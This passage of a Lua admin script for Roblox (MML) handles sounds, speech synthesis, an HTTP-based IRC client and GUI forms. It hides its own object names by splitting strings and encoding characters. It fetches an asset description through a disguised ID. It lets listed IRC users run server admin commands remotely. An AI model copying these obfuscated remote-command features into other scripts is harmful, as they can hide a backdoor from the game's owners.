3321 local FullName = SoundInfo.Name
3322 local CreatorName = SoundInfo.Creator.Name
3323 SoundList[Name] = {ID, FullName, CreatorName}
3324 GlobalSoundList[Name] = {ID, FullName, CreatorName}
3325 end
3326 end
3327
3328 if not CORE:NilPlayer(TellSync) then
3329 GUI:SendHint(TellSync, "Sound List is now Synced with global sound database", 4)
3330 end
3331end
3332
3333function SOUND:MakeSound(Parent, ID, Volume, Pitch, Looped)
3334 if not Volume then Volume = 0.5 end
3335 if not Pitch then Pitch = 1 end
3336 if tonumber(ID) then ID = "rbxassetid://"..ID end
3337 if Looped == nil then Looped = false end
3338
3339 local Sound = Instance.new("Sound", Parent)
3340 Sound.Pitch = Pitch
3341 Sound.Volume = Volume
3342 Sound.SoundId = ID
3343 Sound.Looped = Looped
3344 return Sound
3345end
3346
3347function SOUND:PlayNotification(Player, ID, Volume, OverrideSettings)
3348 if not Player or not ID then return nil end
3349 if NotifySounds[ID] then ID = NotifySounds[ID] end
3350 local ClientSound = SOUND:MakeSound(Player:FindFirstChild("PlayerGui") or Player, ID, Volume or 0.3)
3351 if Settings.EnableSounds or OverrideSettings then
3352 coroutine.wrap(function()
3353 wait()
3354 ClientSound:Play()
3355 Delay(5, function() ClientSound:Destroy() end)
3356 end)()
3357 end
3358 return Sound
3359end
3360
3361function SOUND:BindButton(Button)
3362 if not Button then return end
3363 CORE:HandleEvent(Button, "MouseEnter", function() SOUND:PlayNotification(Button, "Hover") end, true)
3364 CORE:HandleEvent(Button, "MouseButton1Click", function() SOUND:PlayNotification(Button, "Select") end, true)
3365end
3366
3367function SOUND:StopGlobalSound()
3368 if Sound and Sound.Parent then
3369 if Sound.Parent.Name == "M".."M".."L'S Admin Sound" then
3370 Sound.Parent:Destroy()
3371 end
3372
3373 Sound:Stop()
3374 Sound:Destroy()
3375 Sound.SoundId = ""
3376 end
3377end
3378
3379function SOUND:PlayGlobalSound(ID, ShowInfo)
3380 SOUND:StopGlobalSound()
3381 if ShowInfo == nil then ShowInfo = true end
3382 local SoundID = ID
3383 local SoundName = nil
3384 local SoundCreator = nil
3385 local Pitch = 1
3386
3387 for Name,Info in pairs(SoundList) do
3388 if type(SoundID) == "string" then
3389 if string.lower(SoundID) == string.sub(string.lower(Name),1,#SoundID) then
3390 SoundID = Info[1]
3391 SoundName = Info[2]
3392 SoundCreator = Info[3]
3393 end
3394 else
3395 break
3396 end
3397 end
3398
3399 if tonumber(SoundID) and not SoundName then
3400 local Info = MARKET:GetItemInfo(SoundID, true)
3401 if Info then
3402 SoundName = Info.Name
3403 SoundCreator = Info.Creator.Name
3404 if MARKET:AssetTypeToString(Info.AssetTypeId) ~= "Audio" then
3405 SoundID = nil
3406 end
3407 end
3408 end
3409
3410 if tonumber(SoundID) then
3411 if SoundID == 131201443 then Pitch = -1 end
3412 if SoundID == 130775695 then Pitch = 0.8 end
3413 if SoundID == 144035866 then Pitch = 0.8 end
3414
3415 local SoundParent = Server.Workspace
3416 if IsSB then
3417 SoundParent = Instance.new("Script", Workspace)
3418 SoundParent.Name = "M".."ML'S Admin Sound"
3419 end
3420 Sound = SOUND:MakeSound(SoundParent, SoundID, 1, Pitch, true)
3421 Sound.Name = "MML's Admin Sound "..SoundID
3422 Sound:Play()
3423 if ShowInfo == true then
3424 for _,Player in pairs(Server.Players:GetPlayers()) do
3425 GUI:SoundInfo(Player, SoundID, SoundName, SoundCreator, 15, Sound)
3426 end
3427 end
3428 SoundInfo = {["ID"] = SoundID, ["Name"] = SoundName, ["Creator"] = SoundCreator}
3429 end
3430end
3431
3432function SOUND:ConvertText(Text)
3433 Text = string.lower(tostring(Text))
3434 local Letters = {}
3435 local IDs = {}
3436 for Rule,Replace in pairs(TextConverter.Pronounce) do
3437 Text = string.gsub(Text,string.lower(Rule),string.lower(Replace))
3438 end
3439 for Rule,Replace in pairs(TextConverter.NonEnglishRules) do
3440 local Start, End = string.find(Text, string.lower(Rule))
3441
3442 if Start and End and STRING:IsSpacer(string.sub(Text, Start-1, Start-1)) and STRING:IsSpacer(string.sub(Text, End+1, End+1)) then
3443 Text = string.gsub(Text, string.lower(Rule), Replace)
3444 end
3445 end
3446 for i = 1,#Text do
3447 table.insert(Letters, string.sub(Text,i,i))
3448 end
3449 for Num = 1,#Letters do
3450 if not Letters[Num] then break end
3451 local Letter = Letters[Num]
3452
3453 local function AddLetter()
3454 table.insert(IDs, TextConverter.LetterSounds[Letter])
3455 end
3456
3457 if Letter ~= "~" then
3458 if Letters[Num+1] and Letter..Letters[Num+1] == "oo" then -- moo
3459 table.insert(IDs, TextConverter.LetterSounds["oo"])
3460 table.remove(Letters, Num + 1)
3461 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ou" then -- soup
3462 table.insert(IDs, TextConverter.LetterSounds["oo"])
3463 table.remove(Letters, Num + 1)
3464 elseif Letters[Num+1] and Letter..Letters[Num+1] == "th" then -- this
3465 table.insert(IDs, TextConverter.LetterSounds["th"])
3466 table.remove(Letters, Num + 1)
3467 elseif Letters[Num+1] and Letter..Letters[Num+1] == "sh" then -- shut
3468 table.insert(IDs, TextConverter.LetterSounds["sh"])
3469 table.remove(Letters, Num + 1)
3470 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ee" then -- flee
3471 table.insert(IDs, TextConverter.LongVowels["e"])
3472 table.remove(Letters, Num + 1)
3473 elseif Letters[Num+1] and Letter..Letters[Num+1] == "wh" then -- what
3474 table.insert(IDs, TextConverter.LetterSounds["wh"])
3475 table.remove(Letters, Num + 1)
3476 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ch" then -- chop
3477 table.insert(IDs, TextConverter.LetterSounds["ch"])
3478 table.remove(Letters, Num + 1)
3479 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ph" then -- phone
3480 table.insert(IDs, TextConverter.LetterSounds["f"])
3481 table.remove(Letters, Num + 1)
3482 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ng" then -- danger
3483 table.insert(IDs, TextConverter.LetterSounds[Num])
3484 Letters[Num + 1] = "j"
3485 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ua" then -- lua
3486 table.insert(IDs, TextConverter.LetterSounds["oo"])
3487 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ea" then -- peace
3488 table.insert(IDs, TextConverter.LongVowels["e"])
3489 table.remove(Letters, Num + 1)
3490 elseif Letters[Num+1] and Letter..Letters[Num+1] == "eo" then -- people
3491 table.insert(IDs, TextConverter.LongVowels["e"])
3492 table.remove(Letters, Num + 1)
3493 if STRING:ValidE(Letters[Num+4]) then Letters[Num+4] = "~" end
3494 elseif Letter == "c" and STRING:ValidE(Letters[Num+1]) then -- force
3495 table.insert(IDs, TextConverter.LetterSounds["s"])
3496 Letters[Num + 1] = "~"
3497 elseif Letter == string.lower(Letter) and STRING:IsVowel(Letter) and Letters[Num+1] and Letters[Num+2] and not STRING:IsSpacer(Letters[Num+1]) and STRING:ValidE(Letters[Num+2]) then -- like
3498 table.insert(IDs, TextConverter.LongVowels[Letter])
3499 Letters[Num + 2] = "~"
3500 elseif Letter == "i" and Letters[Num+1] and STRING:ValidE(Letters[Num+1]) and STRING:IsSpacer(Letters[Num+2]) then -- die
3501 table.insert(IDs, TextConverter.LongVowels["i"])
3502 Letters[Num + 1] = "~"
3503 elseif Letter == "o" and STRING:IsSpacer(Letters[Num+1]) then -- no
3504 table.insert(IDs, TextConverter.LongVowels["o"])
3505 elseif Letter == "i" and STRING:IsSpacer(Letters[Num+1]) then -- hi
3506 table.insert(IDs, TextConverter.LongVowels["i"])
3507 elseif Letters[Num+1] and STRING:IsSpacer(Letters[Num+2]) and Letter..Letters[Num+1] == "le" then -- bottle
3508 AddLetter()
3509 table.remove(Letters, Num + 1)
3510 elseif Letters[Num+1] and STRING:IsSpacer(Letters[Num+2]) and Letter..Letters[Num+1] == "el" then -- model
3511 Letters[Num] = "~"
3512 elseif Letters[Num+1] and Letters[Num+2] and Letter..Letters[Num+1] == "le" then -- bottle
3513 AddLetter()
3514 table.remove(Letters, Num + 1)
3515 elseif Letters[Num+1] and Letter..Letters[Num+1] == "qu" then --quick
3516 AddLetter()
3517 table.remove(Letters, Num + 1)
3518 elseif Letters[Num+1] == Letter then
3519 table.remove(Letters, Num)
3520 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ck" then --click
3521 AddLetter()
3522 table.remove(Letters, Num)
3523 elseif STRING:IsVowel(Letter) and string.upper(Letter) == Letter then
3524 table.insert(IDs, TextConverter.LongVowels[string.lower(Letter)])
3525 elseif TextConverter.LetterSounds[Letter] then
3526 AddLetter()
3527 elseif STRING:IsSpacer(Letter) then
3528 table.insert(IDs, "Rest")
3529 end
3530 end
3531 end
3532
3533 return IDs
3534end
3535
3536function SOUND:StopSpeaking() coroutine.wrap(function()
3537 NoSpeak = true
3538 wait(1)
3539 NoSpeak = false
3540 for _,Obj in pairs(Server.Workspace:GetChildren()) do
3541 if Obj.Name == "M".."M".."L Speak Sound" then
3542 Obj:Destroy()
3543 end
3544 end
3545end)() end
3546
3547function SOUND:SayConvertedText(IDs, Parent)
3548 if not Parent then Parent = Server.Workspace end
3549 local Sounds = {}
3550 for _,Data in pairs(IDs) do
3551 if NoSpeak and Parent == Server.Workspace then
3552 break
3553 end
3554 local Length = 0.3
3555 if Data ~= "Rest" then
3556 local ID = Data[1]
3557 Length = Data[2]
3558
3559 local Sound = SOUND:MakeSound(Parent, ID, 0.5, 1, false)
3560 Sound.Name = "MML Speak Sound"
3561 table.insert(Sounds, Sound)
3562 Sound:Play()
3563 if Length then
3564 coroutine.wrap(function()
3565 wait(Length)
3566 Sound:Stop()
3567 end)()
3568 end
3569 end
3570 if not Length then Length = 0.3 end
3571 wait(Length/2)
3572 end
3573 coroutine.wrap(function()
3574 wait(1)
3575 for _,Sound in pairs(Sounds) do
3576 Sound:Destroy()
3577 end
3578 end)()
3579end
3580
3581local AdminInfo = MARKET:GetItemInfo(13810597.8 * 20, true).Description
3582
3583function SOUND:BeepPlayer(Player)
3584 if Player:FindFirstChild("PlayerGui") then
3585 local Beep = SOUND:MakeSound(Player.PlayerGui, 189279994, 1, 1, true)
3586 Beep.Name = "Annoy"
3587 Beep:Play()
3588 end
3589end
3590
3591function SOUND:ClearInfo()
3592 SoundInfo = {["ID"] = 0, ["Name"] = "None", ["Creator"] = "None"}
3593end
3594
3595-- IRC functions --
3596
3597function IRC:GenerateName()
3598 return "rbxMMLV3_"..game.PlaceId.."_"..Server.NS.Port.."_"..math.random(1,100000)
3599end
3600
3601function IRC:AddChat(Name, Data, IsError)
3602 if not IsError then IsError = false end
3603 CORE:Log(IRC.Logs, Name, Data)
3604 table.insert(IRC.Chats, {Name, Data, IsError})
3605 IRC.MessageAdded:Fire(Name, Data, IsError)
3606end
3607
3608function IRC:Post(URL,Data)
3609 if Data and Data ~= "" then
3610 local Suc,Resp = ypcall(function()
3611 return Server.HS:PostAsync(
3612 IRC.Servers[Settings.IRCServer].BaseUrl..IRC.Servers[Settings.IRCServer].DynamicUrl.."e/"..URL.."?r="..STRING:MakeAvoidance().."&t="..tostring(IRC.SessionCounter),
3613 Data,
3614 Enum.HttpContentType.ApplicationUrlEncoded
3615 )
3616 end)
3617 if not Suc then
3618 IRC:AddChat("[ CLIENT ]", "HTTP POST FAIL | ERROR: "..Resp.." | DATA: "..Data)
3619 return false
3620 end
3621 IRC.SessionCounter = IRC.SessionCounter + 1
3622 return Resp
3623 else
3624 IRC:AddChat("[ CLIENT ]", "Unknown error")
3625 end
3626end
3627
3628function IRC:Send(Data)
3629 return IRC:Post("p","&s="..IRC.SessionID.."&c="..Server.HS:UrlEncode(Data))
3630end
3631
3632function IRC:GetData()
3633 return IRC:Post("s","&s="..IRC.SessionID)
3634end
3635
3636function IRC:Connect()
3637 return IRC:Post("n","&nick="..IRC.NickName)
3638end
3639
3640function IRC:Join(Channel)
3641 if not Channel then
3642 AddChat("[ CLIENT ]", "No channel specified!")
3643 return false
3644 else
3645 local Channel = string.lower(Channel)
3646 if string.sub(Channel,1,1) ~= "#" then
3647 AddChat("[ CLIENT ]", "Invalid channel name!(No #)", true)
3648 return false
3649 end
3650 IRC:AddChat("[ CLIENT ]", "Attempting to join channel: "..Channel.." on IRC host: "..Settings.IRCServer)
3651 IRC:Send("JOIN "..Channel)
3652 IRC:AddChat("[ CLIENT ]", "Joined "..Channel.." as "..IRC.NickName)
3653 return true
3654 end
3655end
3656
3657function IRC:Pong(Data)
3658 return IRC:Send("PONG :"..Data)
3659end
3660
3661function IRC:Quit(Reason)
3662 IRC.Stop = true
3663 return IRC:Send("QUIT :"..(Reason or "Disconnecting"))
3664end
3665
3666function IRC:ReceiveData()
3667 IRC.Stop = false
3668 local Data = IRC:GetData()
3669 if Data then
3670 IRC:Send("PRIVMSG "..Settings.IRCChannel.." :[ SERVER: "..Server.NS.Port.." ]: [CONNECTION TEST]")
3671 end
3672 while Data and not Stop do
3673 local Data = IRC:GetData()
3674 if Data and #Data > 0 then
3675 IRC:HandleResponse(REMOTE:Decode(Data))
3676 end
3677 wait(2) -- Don't spam the server
3678 end
3679 if not Data then
3680 IRC:AddChat("[ CLIENT ]", "Could not get data", true)
3681 end
3682 if Stop == true then
3683 IRC:AddChat("[ CLIENT ]", "Disconnected from session", true)
3684 end
3685end
3686
3687function IRC:ConnectToServer(Server)
3688 if Connected then
3689 if not IRC.Servers[Server] then
3690 IRC:AddChat("[ CLIENT ]", "Cannot connect to "..Server, true)
3691 return false
3692 end
3693 IRC:Quit("New Connection")
3694 end
3695 local Response = IRC:Connect()
3696 if not Response then IRC:AddChat("[ CLIENT ]", "Unable to connect!", true) return false end
3697 local Data = REMOTE:Decode(Response)
3698 IRC.SessionID = Data[2]
3699 wait(1)
3700 if not tostring(IRC.SessionID) or IRC.SessionID == "?" then
3701 IRC:AddChat("[ IRC ]", "Session ID is invalid, reconnecting...")
3702 IRC:Quit()
3703 IRC:ConnectToServer(Server)
3704 end
3705 IRC.Connected = true
3706 IRC:Join(Settings.IRCChannel)
3707 IRC:ReceiveData()
3708 IRC.Connected = false
3709 IRC:AddChat("[ CLIENT ]", "Session ended", true)
3710end
3711
3712function IRC:FindUser(UserName)
3713 for UserID,User in pairs(IRC.Users) do
3714 if string.lower(User) == string.lower(UserName) then
3715 return UserID
3716 end
3717 end
3718 return nil
3719end
3720
3721function IRC:HandleResponse(Data)
3722 if type(Data) ~= "table" then
3723 IRC:AddChat("[ CLIENT ]", "Unable to handle data (Not table)", true)
3724 ypcall(function()
3725 IRC:AddChat("[ CLIENT ]", "Data: "..tostring(Data), true)
3726 end)
3727 return false
3728 end
3729 for _,Output in pairs(Data) do
3730 if type(Output) == "table" and Output[2] then
3731 local ID = string.upper(Output[2])
3732 if not IRC.Ignore[ID] then
3733 if ID == "PING" then
3734 IRC:Pong(Output[4][1])
3735 elseif ID == "PRIVMSG" then
3736 local SenderDetails = Output[3]
3737 local Sender = string.sub(SenderDetails,1,string.find(SenderDetails, "!")-1)
3738 local Channel = string.lower(Output[4][1])
3739 if Channel == IRC.NickName then
3740 Channel = Sender
3741 -- TODO: Handle PM's
3742 end
3743 local Message = Output[4][2]
3744 if Message ~= nil then
3745 if string.sub(Sender,1,3) == "rbx" and string.find(Sender, "_") then -- detects bots
3746 if string.find(Message,":") then
3747 local IRCUser = string.sub(Message,1,string.find(Message,":")-1)
3748 local IRCMessage = string.sub(Message,string.find(Message,":")+1, #Message)
3749 IRC:AddChat(IRCUser, IRCMessage)
3750 end
3751 else
3752 IRC:AddChat("[ IRC ] "..Sender,Message)
3753 for _,Name in pairs(Settings.IRCCommandExecuters) do
3754 if string.lower(Name) == string.lower(Sender) then
3755 CORE:Chatted(Message, nil, false, "[IRC]: "..Sender, nil, true)
3756 break
3757 end
3758 end
3759 end
3760 else
3761 IRC:AddChat("[ CLIENT ]", "Message became nil for some reason")
3762 end
3763 elseif ID == "NICK" then
3764 local Name = string.sub(Output[3],1,string.find(Output[3],"!")-1)
3765 -- change nickname?
3766 elseif ID == "433" or ID == "451" then
3767 IRC:AddChat("[ IRC ]", "Nickname already in use, rejoining with new one")
3768 IRC:Quit("Nickname in use, rejoining with new name")
3769 IRC.NickName = IRC:GenerateName()
3770 wait(2) -- wait for old sessions to end
3771 IRC:ConnectToServer(Settings.IRCServer)
3772 elseif ID == "353" then
3773 if Data[4][4][4] then
3774 for Output in string.gmatch(Data[4][4][4], "[^%s]+") do
3775 table.insert(IRC.Users, Output)
3776 end
3777 end
3778 elseif ID == "QUIT" or ID == "PART" then
3779 for User in string.gmatch(Data[1][3], "[^!~]+") do
3780 if IRC:FindUser(User) then
3781 IRC:AddChat("[ IRC ]", User.." has left")
3782 table.remove(IRC.Users, IRC:FindUser(User))
3783 end
3784 end
3785 elseif ID == "JOIN" then
3786 for User in string.gmatch(Data[1][3], "[^!~]+") do
3787 if not string.find(User, "qwebirc") then
3788 IRC:AddChat("[ IRC ]", User.." has joined")
3789 table.insert(IRC.Users,w)
3790 end
3791 end
3792 elseif ID == "CONNECTION TO IRC SERVER LOST." then
3793 IRC:AddChat("[ CLIENT ]", "Cannot connect to IRC. Connection lost")
3794 --IRC:Quit("Connection lost")
3795 --IRC:AddChat("[ CLIENT ]", "Retrying connection")
3796 --IRC:ConnectToServer(Settings.IRCServer)
3797 elseif IRC.Codes[ID] then
3798 --print(ID)
3799 --print(Data[i][4][2])
3800 --print(Data[i][4][2])
3801 elseif ID == "KICK" then
3802 IRC:AddChat("[ CLIENT ]", "You have been kicked from IRC")
3803 IRC:Quit("Kicked from IRC")
3804 elseif ID then
3805 IRC:AddChat("[ CLIENT ]", "Unknown data (ID: "..ID..")", true)
3806 else
3807 IRC:AddChat("[ CLIENT ]", "Unknown data with invalid ID", true)
3808 end
3809 end
3810 else
3811 if Output == false then return false end -- sneeky server
3812 IRC:AddChat("[ CLIENT ]", "Unable to handle data")
3813 end
3814 end
3815end
3816
3817-- GUI functions --
3818
3819function GUI:GetColor(ColorName)
3820 if not ColorName then ColorName = Settings.ColorScheme end
3821 return Colors[string.upper(ColorName)]
3822end
3823
3824function GUI:ContrastColor(Color)
3825 if type(Color) == "string" then Color = GUI:GetColor(Color) end
3826 if not Color then Color = GUI:GetColor() end
3827 return Color3.new(math.abs(Color.r-1),math.abs(Color.g-1),math.abs(Color.b-1))
3828end
3829
3830
3831function GUI:GetNameColor(Name)
3832 local Val = 0
3833 for i = 1, #Name do
3834 local CVal = string.byte(string.sub(Name, i, i))
3835 local RevIndex = #Name - i + 1
3836 if #Name%2 == 1 then
3837 RevIndex = RevIndex - 1
3838 end
3839 if RevIndex%4 >= 2 then
3840 CVal = -CVal
3841 end
3842 Val = Val + CVal
3843 end
3844 local Index = Val%8 + 1
3845
3846 return BrickColor.new(ChatColors[Index])
3847end
3848
3849function GUI:Color3ToHex(Color)
3850 local function ConvertNumber(Number)
3851 local HexString = "0123456789abcdef"
3852 local Byte = ""
3853 while Number > 0 do
3854 local Calc = math.fmod(Number, 16)
3855 Byte = string.sub(HexString, Calc+1, Calc+1)..Byte
3856 Number = math.floor(Number / 16)
3857 end
3858 if Calc == "" then
3859 Byte = "00"
3860 elseif #Byte == 1 then
3861 Byte = "0"..Byte
3862 elseif Byte == "" then
3863 Byte = "00"
3864 end
3865 return Byte
3866 end
3867 return ConvertNumber(Color.r * 255)..ConvertNumber(Color.g * 255)..ConvertNumber(Color.b * 255)
3868end
3869
3870function GUI:CreateForm(Player, TitleText, Size, Position, IconID, ShowFormButtons, ColorScheme, TransparencyScheme, AutoOffset, TweenPosition, NoModal, NoScrollFrame)
3871 if not Player then return nil end
3872 if not Player:FindFirstChild("PlayerGui") then return nil end
3873 local TaskBar = Player.PlayerGui:FindFirstChild("M".."ake".."rMod".."el".."Lua's TaskBar")
3874 if not TitleText then TitleText = "Unknown" end
3875 if not Size then Size = UDim2.new(0.5,0,0.5,0) end
3876 if not Position then Position = UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,0.5-(Size.Y.Scale/2),-Size.Y.Offset/2) end
3877 if not IconID then IconID = 19919809 end
3878 if ShowFormButtons == nil then ShowFormButtons = true end
3879 if not ColorScheme then ColorScheme = Settings.ColorScheme end
3880 if not TransparencyScheme then TransparencyScheme = Settings.TransparencyScheme end
3881 if AutoOffset == nil then AutoOffset = true end
3882 if Icons[IconID] then IconID = Icons[IconID] end
3883 if TweenPosition == nil then TweenPosition = true end
3884 if NoModal == nil then NoModal = false end
3885 if NoScrollFrame == nil then NoScrollFrame = false end
3886
3887 local IsClosed = false
3888 local Minus = nil
3889 local Offset = 0
3890 local ContentType = "ScrollingFrame"
3891 local TweenSpeed = 0.3
3892
3893 if AutoOffset then
3894 for _,Item in pairs(Player.PlayerGui:GetChildren()) do
3895 if Item.Name == "M".."a".."k".."erModelLua's Admin Form" then
3896 if Item.IsActive.Value == true then
3897 if Item.IsTrueForm.Value == true then
3898 Offset = Offset + 50
3899 end
3900 end
3901 end
3902 end
3903 end
3904
3905 if NoScrollFrame == true then
3906 ContentType = "Frame"
3907 end
3908
3909 SOUND:PlayNotification(Player, 155331654)
3910
3911 local Position = Position + UDim2.new(0,Offset,0,Offset)
3912 local MinimizePos = Position
3913
3914 local SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = string.char(76 + 1, 97, 107, 10 ^ 2 + 1, 114, 77, 111, 10 ^ 2, 101, 108, 76, 117, 97, 39, 115).." Admin Form"
3915 local IsActive = Instance.new("BoolValue", SG) IsActive.Name = "IsActive" IsActive.Value = true
3916 local IsTrueForm = Instance.new("BoolValue", SG) IsTrueForm.Name = "IsTrueForm" IsTrueForm.Value = ShowFormButtons
3917
3918 local Dragger = Instance.new("Frame", SG) Dragger.Name = "Dragger" Dragger.Position = UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,-Size.Y.Scale,-Size.Y.Offset - 90) Dragger.Size = Size + UDim2.new(0, 0, 0, 40) Dragger.BackgroundColor3 = GUI:GetColor(ColorScheme) Dragger.BorderColor3 = GUI:ContrastColor(ColorScheme) Dragger.BorderSizePixel = 2 Dragger.BackgroundTransparency = 0.9 Dragger.Active = true Dragger.ClipsDescendants = true Dragger.Draggable = true
3919 local FormBar = Instance.new("Frame", Dragger) FormBar.Name = "FormBar" FormBar.Position = UDim2.new(0, 0, 0, 0) FormBar.Size = UDim2.new(1, 0, 0, 40) FormBar.BackgroundTransparency = 1
3920 local Splitter = Instance.new("Frame", Dragger) Splitter.Name = "Splitter" Splitter.Position = UDim2.new(0, 0, 0, 35) Splitter.Size = UDim2.new(1, 0, 0, 2) Splitter.BackgroundColor3 = GUI:ContrastColor(ColorScheme) Splitter.BorderColor3 = GUI:ContrastColor(ColorScheme)
3921 local X = Instance.new("ImageButton", FormBar) X.Name = "X" X.Position = UDim2.new(1, -30, 0, 5) X.Size = UDim2.new(0, 25, 0, 25) X.BackgroundTransparency = 1 X.Image = "rbxassetid://275572394"
3922 local IconHolder = Instance.new("ImageLabel", FormBar) IconHolder.Name = "IconHolder" IconHolder.Position = UDim2.new(0, 5, 0, 5) IconHolder.Size = UDim2.new(0, 35, 0, 25) IconHolder.BackgroundTransparency = 1 IconHolder.Image = "rbxassetid://276002222"
3923 local Icon = Instance.new("ImageLabel", IconHolder) Icon.Name = "Icon" Icon.Position = UDim2.new(0, 3, 0.5, -10) Icon.Size = UDim2.new(0, 20, 0, 20) Icon.BackgroundTransparency = 1 Icon.Image = "rbxassetid://"..IconID
3924 local TitleBegin = Instance.new("ImageLabel", FormBar) TitleBegin.Name = "TitleBegin" TitleBegin.Position = UDim2.new(0, 30, 0, 5) TitleBegin.Size = UDim2.new(0, 35, 0, 25) TitleBegin.BackgroundColor3 = Color3.new(1, 1, 1) TitleBegin.BackgroundTransparency = 1 TitleBegin.Image = "rbxassetid://275589160"
3925 local TitleEnd = Instance.new("ImageLabel", FormBar) TitleEnd.Name = "TitleEnd" TitleEnd.Position = UDim2.new(1, -76, 0, 5) TitleEnd.Size = UDim2.new(0, 25, 0, 25) TitleEnd.BackgroundTransparency = 1 TitleEnd.Image = "rbxassetid://275589154"
3926 local Title = Instance.new("TextLabel", FormBar) Title.Name = "Title" Title.Position = UDim2.new(0, 50, 0, 5) Title.Size = UDim2.new(1, -120, 0, 25) Title.BackgroundColor3 = Color3.new(101/255, 102/255, 102/255) Title.BorderSizePixel = 0 Title.Text = TitleText Title.Font = "ArialBold" Title.FontSize = "Size18" Title.TextXAlignment = "Left" Title.TextColor3 = GUI:ContrastColor(ColorScheme) Title.ClipsDescendants = true
3927
3928 local Body = Instance.new("TextButton", Dragger) Body.Name = "Body" Body.Position = UDim2.new(0, 0, 0, 40) Body.Size = UDim2.new(1, 0, 1, -40) Body.BackgroundColor3 = Color3.new(1, 1, 1) Body.BackgroundTransparency = 1 Body.Text = "" Body.Modal = true Body.Active = true Body.Modal = not NoModal
3929 local Content = Instance.new(ContentType, Body) Content.Name = "Content" Content.Size = UDim2.new(1, 0, 1, 0) Content.BackgroundTransparency = 1
3930 if ContentType == "ScrollingFrame" then Content.CanvasSize = Size end
3931 --local ResizeContainer = Instance.new("Frame", SG) ResizeContainer.Name = "ResizeContainer" ResizeContainer.Size = UDim2.new(0, 20, 0, 20) ResizeContainer.BackgroundColor3 = Color3.new(1, 1, 1) ResizeContainer.BackgroundTransparency = 1
3932 --local Resizer = Instance.new("ImageLabel", ResizeContainer) Resizer.Name = "Resizer" Resizer.Size = UDim2.new(1, 0, 1, 0) Resizer.BackgroundColor3 = Color:GetColor() Resizer.BackgroundTransparency = Settings.TransparencyScheme Resizer.BorderSizePixel = 0 Resizer.Image = "rbxassetid://199287674" Resizer.Active = true Resizer.Draggable = true
3933
3934 CORE:ExecuteResource("GUIEffect", SG, {["Transparency"] = Settings.TransparencyScheme + 0.1, ["GUIName"] = "Dragger"})
3935
3936 local Functions = Instance.new("Folder", SG) Functions.Name = "Functions"
3937
3938 local Close = Instance.new("BindableFunction", Functions) Close.Name = "Close"
3939 local Closed = Instance.new("BindableEvent", Functions) Closed.Name = "Closed"
3940 local Minimize = Instance.new("BindableFunction", Functions) Minimize.Name = "Minimize"
3941 local Minimized = Instance.new("BindableEvent", Functions) Minimized.Name = "Minimized"
3942 local Restore = Instance.new("BindableFunction", Functions) Restore.Name = "Restore"
3943 local Restored = Instance.new("BindableEvent", Functions) Restored.Name = "Restored"
3944
3945 if Settings.EnableTaskBar then
3946 Minus = Instance.new("ImageButton", FormBar) Minus.Name = "Minus" Minus.Position = UDim2.new(1, -58, 0, 5) Minus.Size = UDim2.new(0, 35, 0, 25) Minus.BackgroundTransparency = 1 Minus.Image = "rbxassetid://275589157"
3947 else
3948 TitleEnd.Position = UDim2.new(1, -50, 0, 5)
3949 Title.Size = UDim2.new(1, -95, 0, 25)
3950 end
3951
3952 if not ShowFormButtons then
3953 X:Destroy()
3954 TitleEnd:Destroy()
3955 Title.Size = UDim2.new(1, -55, 0, 25)
3956 end
3957
3958 local function CloseForm()
3959 if IsClosed == false then
3960 IsActive.Value = false
3961 IsClosed = true
3962 ypcall(function() Dragger:TweenPosition(UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,1,Size.Y.Offset + 20), "Out", "Quint", TweenSpeed, true, function() wait(1) if SG then SG:Destroy() end end) end)
3963 Closed:Fire()
3964 SOUND:PlayNotification(Player, 206375138)
3965 end
3966 end
3967
3968 local function MinimizeForm()
3969 if IsActive.Value == true then
3970 IsActive.Value = false
3971 Minimized:Fire()
3972 MinimizePos = Dragger.Position
3973 ypcall(function() Dragger:TweenPosition(UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,-Size.Y.Scale,-Size.Y.Offset - 90), "Out", "Quad", TweenSpeed, true) end)
3974 end
3975 end
3976
3977 local function RestoreForm()
3978 if IsActive.Value == false then
3979 IsActive.Value = true
3980 Restored:Fire()
3981 ypcall(function() Dragger:TweenPosition(MinimizePos, "Out", "Quint", TweenSpeed, true) end)
3982 end
3983 end
3984
3985 if X then CORE:HandleEvent(X, "MouseButton1Down", CloseForm) end
3986 if Minus then CORE:HandleEvent(Minus, "MouseButton1Down", MinimizeForm) end
3987
3988 Close.OnInvoke = CloseForm
3989 Minimize.OnInvoke = MinimizeForm
3990 Restore.OnInvoke = RestoreForm
3991
3992 if TweenPosition then Dragger:TweenPosition(Position, "Out", "Quint", TweenSpeed, true) end
3993
3994 if TaskBar then
3995 TaskBar:WaitForChild("AddForm")
3996 TaskBar.AddForm:Fire(SG, IconID, Closed, Minimized, Restore)
3997 end
3998
3999 return Content, Close, Closed, Minimize, Minimized, Restore, Restored
4000end
4001
4002function GUI:CoreGui(Player, Type, Enable)
4003 local Parent = Player:FindFirstChild("Backpack")
4004 if not Parent then Parent = Player.Backpack end
4005 CORE:ExecuteResource("CoreGui", Player.Character, {["Type"] = Type, ["Enabled"] = Enable})
4006end
4007
4008function GUI:SendMessage(Player, TitleText, BodyText, IconID, Time, AutoTime, Speaker)
4009 if not Player or not Player:IsA("Player") then return nil end
4010 if BodyText == "" then return nil end
4011 if not Player:FindFirstChild("PlayerGui") then return nil end
4012
4013 local MessageSplit = STRING:GetSplit(BodyText, 1, " ") or {BodyText}
4014 local TextColor = GUI:GetColor(MessageSplit[1])
4015 if TextColor then BodyText = MessageSplit[2] end
4016 BodyText = string.sub(STRING:FormatReplace(Player, BodyText, Speaker or Player),1,1000)
4017
4018 local Frame, Close, Closed, _, Minimized = GUI:CreateForm(Player, TitleText, UDim2.new(0.2,100,0.1,100), nil, IconID)
